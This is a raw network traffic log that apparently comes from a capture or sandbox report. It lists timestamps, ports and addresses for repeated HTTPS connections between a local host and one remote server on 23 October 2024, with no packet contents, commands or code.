Oct 23, 2024 21:04:37.401525021 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.409977913 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.410358906 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.410370111 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.410778046 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.410782099 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.410892010 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.410914898 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.411082983 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.411096096 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.411149979 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.411180973 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.411180973 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.411206961 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.411221981 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.411222935 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.411233902 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.411247969 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.411251068 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.413467884 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.413495064 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.413590908 CEST	49934	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.413599014 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.413624048 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.413647890 CEST	49934	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.413767099 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.413779020 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.413873911 CEST	49934	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.413881063 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.549434900 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.549565077 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.549632072 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.549747944 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.549758911 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.549770117 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.549773932 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.552436113 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.552455902 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.552525997 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.552752018 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.552766085 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.158406019 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.159507036 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.159532070 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.160448074 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.160454988 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.169351101 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.169836998 CEST	49934	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.169852018 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.170624971 CEST	49934	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.170629978 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.174921989 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.175533056 CEST	49932	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.175548077 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.176469088 CEST	49932	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.176474094 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.200504065 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.201368093 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.201401949 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.202187061 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.202198029 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.295865059 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.295941114 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.296041012 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.296051979 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.296108961 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.305741072 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.305763960 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.305783033 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.305790901 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.307126999 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.307188988 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.307285070 CEST	49934	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.307837963 CEST	49934	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.307847977 CEST	443	49934	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.311309099 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.318784952 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.318962097 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.319364071 CEST	49932	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.334120035 CEST	49932	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.334127903 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.334180117 CEST	49932	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.334184885 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.340183973 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.340261936 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.340313911 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.340322971 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.340373993 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.340424061 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.355258942 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.384115934 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.384123087 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.384795904 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.384800911 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.465641022 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.465650082 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.465677977 CEST	49933	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.465683937 CEST	443	49933	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.529228926 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.529263973 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.529323101 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.529335022 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.529349089 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.529395103 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.535056114 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.535098076 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.535275936 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.535496950 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.535521984 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.535574913 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.537650108 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.537684917 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.537740946 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.538120031 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.538127899 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.538295031 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.544538975 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.544552088 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.545922995 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.545957088 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.546206951 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.546220064 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.546228886 CEST	49935	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.546235085 CEST	443	49935	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.548038006 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.548058987 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.548392057 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.548412085 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.560612917 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.560648918 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:38.560898066 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.561126947 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:38.561137915 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.311496973 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.312287092 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.312305927 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.313611984 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.313617945 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.319977999 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.320305109 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.320331097 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.321321011 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.321326971 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.322318077 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.322957993 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.322981119 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.323844910 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.323853970 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.325423002 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.327440023 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.328718901 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.328742027 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.329293013 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.329298973 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.330424070 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.330432892 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.331326008 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.331331015 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457536936 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457564116 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457626104 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.457638979 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457712889 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457739115 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457779884 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.457798004 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457807064 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.457814932 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457824945 CEST	49940	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.457861900 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457873106 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457943916 CEST	443	49940	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.457968950 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.460266113 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.460278988 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.460288048 CEST	49938	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.460294962 CEST	443	49938	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.460875988 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.460953951 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.461005926 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.461029053 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.461080074 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.461122036 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.461268902 CEST	49937	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.461283922 CEST	443	49937	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.463577986 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.463752031 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.463798046 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.463978052 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.463987112 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.463999033 CEST	49939	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.464004040 CEST	443	49939	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.466514111 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.466662884 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.466726065 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.467637062 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.467643976 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.467652082 CEST	49936	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.467655897 CEST	443	49936	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.473315954 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.473347902 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.473411083 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.475651026 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.475670099 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.475728035 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.477545023 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.477557898 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.477704048 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.477716923 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.479175091 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.479183912 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.479227066 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.479523897 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.479535103 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.482315063 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.482340097 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.482387066 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.483571053 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.483582020 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.485465050 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.485486031 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:39.485564947 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.485754967 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:39.485768080 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.227200985 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.227586031 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.227605104 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.228262901 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.228266001 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.239005089 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.239495993 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.239511013 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.239737034 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.239801884 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.239806890 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.240003109 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.240015030 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.240340948 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.240344048 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.240765095 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.241209030 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.241228104 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.241586924 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.241592884 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.258793116 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.259093046 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.259115934 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.259476900 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.259481907 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.365149975 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.365405083 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.365453005 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.365497112 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.365504026 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.365534067 CEST	49943	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.365539074 CEST	443	49943	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.368010998 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.368038893 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.368088007 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.368217945 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.368236065 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.374598026 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.374627113 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.374697924 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.374720097 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.374754906 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.374835014 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.374835014 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.374855042 CEST	49945	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.374866009 CEST	443	49945	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.376610041 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.376682043 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.376771927 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.376777887 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.376795053 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.376837015 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.376939058 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.376941919 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.376966953 CEST	49941	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.376970053 CEST	443	49941	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.378894091 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.379049063 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.379105091 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.379218102 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.379230022 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.379241943 CEST	49942	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.379249096 CEST	443	49942	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.380116940 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.380134106 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.380290985 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.380433083 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.380445004 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.382623911 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.382647038 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.382713079 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.382745028 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.382788897 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.382812023 CEST	49949	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.382822990 CEST	443	49949	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.382889986 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.383017063 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.383033037 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.400582075 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.400646925 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.400718927 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.400732040 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.400752068 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.400846958 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.400929928 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.400929928 CEST	49944	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.400940895 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.400949001 CEST	443	49944	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.403472900 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.403491020 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:40.403567076 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.403672934 CEST	49950	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:40.403687000 CEST	443	49950	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.117791891 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.118278027 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.118294001 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.118782997 CEST	49946	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.118788958 CEST	443	49946	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.140582085 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.141062975 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.141083002 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.141571999 CEST	49948	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.141578913 CEST	443	49948	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.147531033 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.147871971 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.147886992 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.148304939 CEST	49947	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:41.148308992 CEST	443	49947	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:41.154102087 CEST	443	49949	13.107.253.45	192.168.2.6
